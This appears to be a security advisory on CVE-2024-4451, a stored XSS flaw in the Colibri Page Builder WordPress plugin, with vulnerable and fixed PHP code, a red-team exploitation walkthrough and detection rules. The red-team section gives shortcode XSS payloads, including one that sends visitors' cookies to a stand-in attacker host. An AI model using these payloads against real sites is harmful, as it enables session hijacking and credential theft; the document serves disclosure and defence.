CVE-2024-4451

Executive Summary

CVE-2024-4451 is a Stored Cross-Site Scripting (XSS) vulnerability in the Colibri Page Builder plugin for WordPress, affecting all versions up to and including 1.0.276. The flaw resides in the colibri_video_player shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is classified under the WordPress ecosystem and is not related to Apache or Nginx server configurations. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for significant impact due to the stored nature of the attack.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Users should verify the integrity of the plugin by checking its checksum against the official WordPress.org repository. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): None (N) – No user action is required for the initial injection.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS can affect all users visiting the compromised page.

Deep Dive & Mechanics

The vulnerability exists in the colibri_video_player shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes before rendering them in the HTML output. An attacker with contributor-level access can create or edit a post/page and insert the shortcode with malicious attributes.

Example vulnerable shortcode usage:

[colibri_video_player src="https://example.com/video.mp4" title="<script>alert('XSS')</script>"]

The plugin processes the title attribute and outputs it directly into the page HTML without escaping, allowing the script to execute.

Root Cause: Insufficient input sanitization and output escaping on the colibri_video_player shortcode attributes.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.0.276):

// In colibri-page-builder/src/Shortcodes/VideoPlayer.php
function colibri_video_player_shortcode($atts) {
    $atts = shortcode_atts(array(
        'src' => '',
        'title' => '',
    ), $atts);
    
    $output = '<div class="colibri-video-player">';
    $output .= '<video src="' . $atts['src'] . '" title="' . $atts['title'] . '"></video>';
    $output .= '</div>';
    
    return $output;
}

Patched Code (hypothetical fix):

function colibri_video_player_shortcode($atts) {
    $atts = shortcode_atts(array(
        'src' => '',
        'title' => '',
    ), $atts);
    
    $output = '<div class="colibri-video-player">';
    $output .= '<video src="' . esc_url($atts['src']) . '" title="' . esc_attr($atts['title']) . '"></video>';
    $output .= '</div>';
    
    return $output;
}

The fix uses esc_attr() for the title attribute and esc_url() for the src attribute to prevent XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with Colibri Page Builder plugin version <= 1.0.276.
• An authenticated user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [colibri_video_player src="https://example.com/video.mp4" title="<script>alert(document.cookie)</script>"]
   

4. Publish the post/page.
5. When any user (including admins) visits the page, the JavaScript executes.

Advanced Payload Example:

[colibri_video_player src="https://example.com/video.mp4" title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the colibri_video_player shortcode with suspicious attributes.
• Look for unusual JavaScript in the title attribute of the shortcode.
• Use Web Application Firewall (WAF) rules to block XSS payloads in shortcode attributes.

Hardening:

• Update the plugin to a patched version as soon as available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/colibri-page-builder/src/Shortcodes/VideoPlayer.php (vulnerable file)
• Shortcode pattern: [colibri_video_player ... title="<script>...</script>"]
• Network traffic: Outbound requests to attacker-controlled domains from the WordPress admin or frontend.
• Log entries: WordPress audit logs showing creation/editing of posts with the vulnerable shortcode.

Detection Engineering

YARA Rule

rule CVE_2024_4451_Colibri_XSS {
    meta:
        description = "Detects Colibri Page Builder plugin files vulnerable to CVE-2024-4451"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4451"
    strings:
        $vuln_func = "colibri_video_player_shortcode"
        $unsafe_output = /title="\. \$atts\['title'\]/
    condition:
        $vuln_func and $unsafe_output
}

Sigma Rule

title: CVE-2024-4451 - Colibri Page Builder Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit Stored XSS in Colibri Page Builder plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/post.php"
        http.body|contains: "colibri_video_player"
        http.body|contains|re: "<script[^>]*>"
    condition: selection
falsepositives:
    - Legitimate use of video player with non-malicious scripts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4451 - Colibri Page Builder Stored XSS Attempt"; flow:to_server; content:"colibri_video_player"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: Check the WordPress plugin repository for a patched version. If unavailable, consider disabling the plugin until a patch is released.
2. Restrict user roles: Limit contributor-level access to only trusted users.
3. Implement WAF rules: Block requests containing <script> tags in shortcode attributes.

Long-term Mitigation:

• Apply the principle of least privilege for all WordPress users.
• Regularly audit plugin code for security vulnerabilities.
• Use a security plugin (e.g., Wordfence) to monitor for XSS attempts.

Patch Status: UNKNOWN. No official patch has been released by the vendor at the time of this report.

Valters IT
DevSecOps & Cyber Threat Intelligence Division